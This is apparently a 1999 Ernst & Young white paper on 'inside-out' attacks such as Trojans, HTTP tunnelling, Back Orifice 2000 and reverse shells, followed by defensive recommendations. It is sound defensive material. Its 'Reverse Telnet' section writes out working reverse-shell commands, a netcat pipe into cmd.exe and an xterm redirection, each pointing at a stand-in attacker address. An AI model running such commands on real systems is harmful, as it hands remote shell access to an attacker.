ERNST & YOUNG LLP

Inside-Out Attacks

An old concept with new threats

Saturday, July 10, 1999

Management of security in the Internet age has been focused on border defenses such as firewalls consisting of packet filters and proxy hosts. These protect from outside-in attacks. These are attacks that are initiated by an attacker from the outside wishing to establish a session or send data to a system within the perimeter of the corporate network. The objective can be varied, but in all cases, the job of the firewall is to protect internal resources by restricting external connections to specific resources either directly (packet filter) or indirectly (proxy).

The often-overlooked problem is that this only protects the company from attacks that originate from the outside. Many times, firewall rules allow broad access for outbound connections for users inside the corporate network. The more relaxed the filter rules on firewalls / gateways are for outbound connections, the more access to Internet services are granted to users.

The assumption is made that ***the threat to a network occurs from the originator of a connection***. The reality is that ***an established connection is a two-way tunnel, even originated from the inside, and security is dependent on the application that originated the connection***. Recent attacks have illustrated that this is a credible and tangible threat that needs to be addressed.

Inside-out Attacks

Trojan horse activity has been increasing at a rapid rate. Today it is possible to obtain over 40 Trojan horse applications for the Windows platforms and "wrappers" are made available so that anyone can easily create their own Trojan horse by attaching malicious code to another executable file. The attacks below are known and growing in number.

Network Aware Viruses / Worms

The "Melissa" and "Zip-Explorer" viruses / worms have recently caused a stir because of their demonstrated ability to replicate over a network using the application layer interfaces (APIs) of Microsoft's mail products.

All of these attacks require that an "insider" execute code. This is either because the person that executes the code is:

1. Unaware of security issues and doesn't realize that an application can do anything to their system within the limits of the access that is granted to that user.

2. Purposely executing this code to bypass security restrictions (for unknown purposes).

These worms replicate themselves by sending copies via email to defined users and potentially destroy data on the systems on which they were run.

Other email attacks include Trojan horses that gather intelligence (passwords, system settings, network information, etc.) and copy user data off a system when executed and then use email as a vehicle to send the extracted information back to an attacker. This attack is easily demonstrable and invisible to the user. Since there is no obvious self-replication mechanism, chances are great that a user will be unaware that they have been a victim.

HTTP Tunnel

Even though an HTTP connection was designed to provide web services to users, HTTP is simply data passing between a client and a server with headers to identify it as web content. Code has recently been posted on Internet security groups that allows the TCP/IP protocol suite to be encapsulated inside the HTTP protocol. If encapsulated properly, a proxy will simply assume the content is correct and will pass the data stream to a listening system that de-encapsulates the contents back into IP. This means that an HTTP connection has become a conduit for a full-fledged bi-directional connection between two networks.

It is implied that a firewall will pass this traffic since it looks like valid HTTP traffic. Without actively inspecting the contents of the traffic it is impossible to determine the real nature of the traffic. Once the connection has been made an attacker can route traffic through the compromised system and onto the internal network of the company.

Back Orifice 2000

Back Orifice 2000 (BO2K) was officially released on July 10, 1999 by the Cult of the Dead Cow hacker group (http://www.cultdeadcow.com). It promises to be the most flexible, silent, and extensible Trojan horse ever created. It provides a modular architecture for plugins and a variety of communications channels including TCP, UDP, and ICMP. Unlike the prior version, the source code for this Trojan is being freely distributed, and therefore it is very likely that many variants will appear that will defeat signature based malicious code detection programs. The authors will also be releasing a utility to encrypt executables in such a fashion that each encryption will produce a unique file that cannot be detected by a signature based virus scanner.

The extensible nature of this Trojan allows it to act in non-traditional ways including the generation of outbound connections. One of the features that will be made available is the ability to surreptitiously launch a dialup networking connection to a remote system. This implies that an infected system that is equipped with a modem can be made to dial a pre-determined number that belongs to a hacker and connect to the hacker's system. Once a connection has been made, the hacker is then attached to the infected system via PPP and may then route onto the internal network of the target company. This is exceedingly dangerous since it bypasses all firewall controls.

Many other inside-out attack variants are possible and the authors of the application actively encourage other coders to develop plugins that enhance the capabilities of the Trojan. Initial infection of a system occurs when a user executes code that contains the BO2K Trojan.

"Reverse Telnet"

The concept of telnet was that a telnet client would connect to a listening telnet server (daemon) that would redirect access of a text based command interpreter to the end user. The command interpreter (SH, BASH, CMD.EXE, etc.) has three channels: input (STDIN), output (STDOUT), and error (STDERR). Shell meta-characters such as < << | > >> can be used to redirect data to the STDIN and from the STDOUT. A "|" symbolizes a pipe that links the STDOUT from one application to the STDIN of another. A utility such as NetCat can be used as a generic utility to transfer data over a network and 'pipe' the output to / from a command interpreter under Windows NT. For example, the command:

nc -n 192.168.1.1 80 | cmd.exe | nc -n 192.168.1.1 25

on the victim host would make an outbound connection on port 80 to the address 192.168.1.1 which becomes the STDIN to the (Windows NT) command processor CMD.EXE whose output is piped to the system 192.168.1.1 on port 25. The trick is that both the input and output channels for the command interpreter originate from the victim's host (in side the firewall). The attacker's machine (192.168.1.1) is listening on two ports. Any commands sent to the connection on port 80 become the input to the command processor; while any output is displayed by the command processor is sent to the listening port 25 of the attacker's system.

In plain English, this means that an attacker is effectively able to gain control of a system on a protected corporate network by tricking a user of this system to execute the command above.

For Unix systems, the attack is even simpler especially on those systems using X Windows. It consists of launching a shell on the remote system via xterm which is displayed on the attacker's system. The following command is an example of this:

xterm –display 192.168.1.1:0.0 &

This command would make an outbound connection on port 6000 to the address 192.168.1.1 which would be the attacker's system running an X display server.

Once again, the security ***breach occurs when a user trusts code and executes it***.

Buffer Overflow conditions

Buffer overflow conditions are product coding flaws that allow an attacker to execute code on a remote system. This is generally a problem with inadequate vendor quality assurance and coding standards. Buffer overflows have been a security plague in the Unix world and have recently been demonstrated on the NT platform as a means to gain remote administrative access to an IIS server.

Since a buffer overflow allows the execution of arbitrary code on a system, it is very possible (and has been demonstrated) that an inside-out attack can be used to establish a session from the compromised system back to the attacker's system.

Recommendations

Good general security practices should prevent Trojan horse infections from occurring in the first place. Unfortunately many companies are still lax in preventing initial infections. The following guidelines should decrease the overall risk of major Trojan horse infections.

Authenticating proxies

Many corporate firewalls pass outgoing traffic to the Internet based on simple destination port rules. These firewalls are the most vulnerable to inside-out network Trojan infections.

Proxies provide a greater level of protection, but they too can be defeated by applications such as HTTP Tunnel that encapsulate the traffic in what appears to be a valid protocol. The best defense if to ***require outbound connections to be authenticated***. Authenticating proxies require that users authenticate themselves to the proxy server / firewall before being allowed to pass outbound traffic. This can be very effective in cutting off outbound connections that are spawned by applications and not users.

Minimal use of modems

BO2K has demonstrated that it is possible to generate a modem based connection from the inside-out. This risk simply cannot be eliminated until the modems are removed from user's systems. Try to ***eliminate modems unless they are absolutely necessary***. When modems are required, rely on external modems that can be visually monitored and powered off when not required.

User Education

Educate users not to execute code from an un-trusted channel even if it appears to be coming from a trusted source. This is means that even though an email may come from a trusted source, the weaknesses of the mail protocols make it an untrusted channel that cannot be relied upon. Users must also be educated not to make the problem worse by internally using email as a conduit for exchanging executable code.

Define and enforce usage policies

Unless rules are enforced, they have no meaning. ***Polices for secure system, network and modem use should be drafted and adherence should be monitored and enforced***. It is healthy to instill a sense of paranoia in users. A more "carrot" like approach would be to reward users for positive security behavior and reporting potential security problems.

Operate in non-privileged mode

The amount of damage that can generally be caused by a Trojan horse is limited by highest level of access of the user who executed the program. If a Trojan horse is executed in the context of Root / Administrator, it will have virtually unrestrained access to anything on the system. If the code is executed in the context of a generic "user" the amount of damage that may be done is limited to the restricted access of that user account. It is therefore recommended for Administrators to ***perform non-administrative tasks using a separate 'user' account with no special network or system privileges***.

Actively deploy network sniffers and Intrusion Detection Systems

Many inside out attacks are reliant on establishing network connections to outside systems. The only way to monitor outbound activity is to ***deploy systems that monitor traffic "on the wire" and analyze the traffic***. Some systems can respond to specific patterns / triggers by breaking connections and generating alerts. "Sniffers" are generally dumb devices that have the ability to monitor traffic with little analysis, while Intrusion Detection Systems are intelligent sniffers that look for attack patterns in the network data.

Run Content Checkers on e-mail gateways

A common way of planting Trojans on a system inside the corporate perimeter is to send it as an attachment in an e-mail message. There are a significant number of e-mail messages containing "active content", that is executable binaries attached to it. A vast majority of them are for entertainment purposes, consisting of animations like screen savers or multimedia enriched electronic greeting cards. These would serve as ideal carriers for malicious code since they are so commonly exchanged. It is fairly simple to set up filters on mail agents (for example, sendmail and procmail) to monitor for "active content" and take the necessary

action, by either filtering out the attachment, or rendering it non-executable by changing its attributes or perform virus/Trojan checking on the attachments. There are commercial products available for this purpose.

Tighten inside-out firewall Configurations

Network services that are required by users should be identified based on a business purpose. ***For all services that are required, a proxy should be used***. If a proxy is not available or a generic proxy cannot be created for a specific service, a risk analysis should be performed to determine if a simple packet filter is appropriate. ***Services that cannot be justified by a valid business purpose should be eliminated***.

Notes and Contact information

 The authors may be contacted at Patrick.Heim@ey.com and Saumil.Shah@ey.com.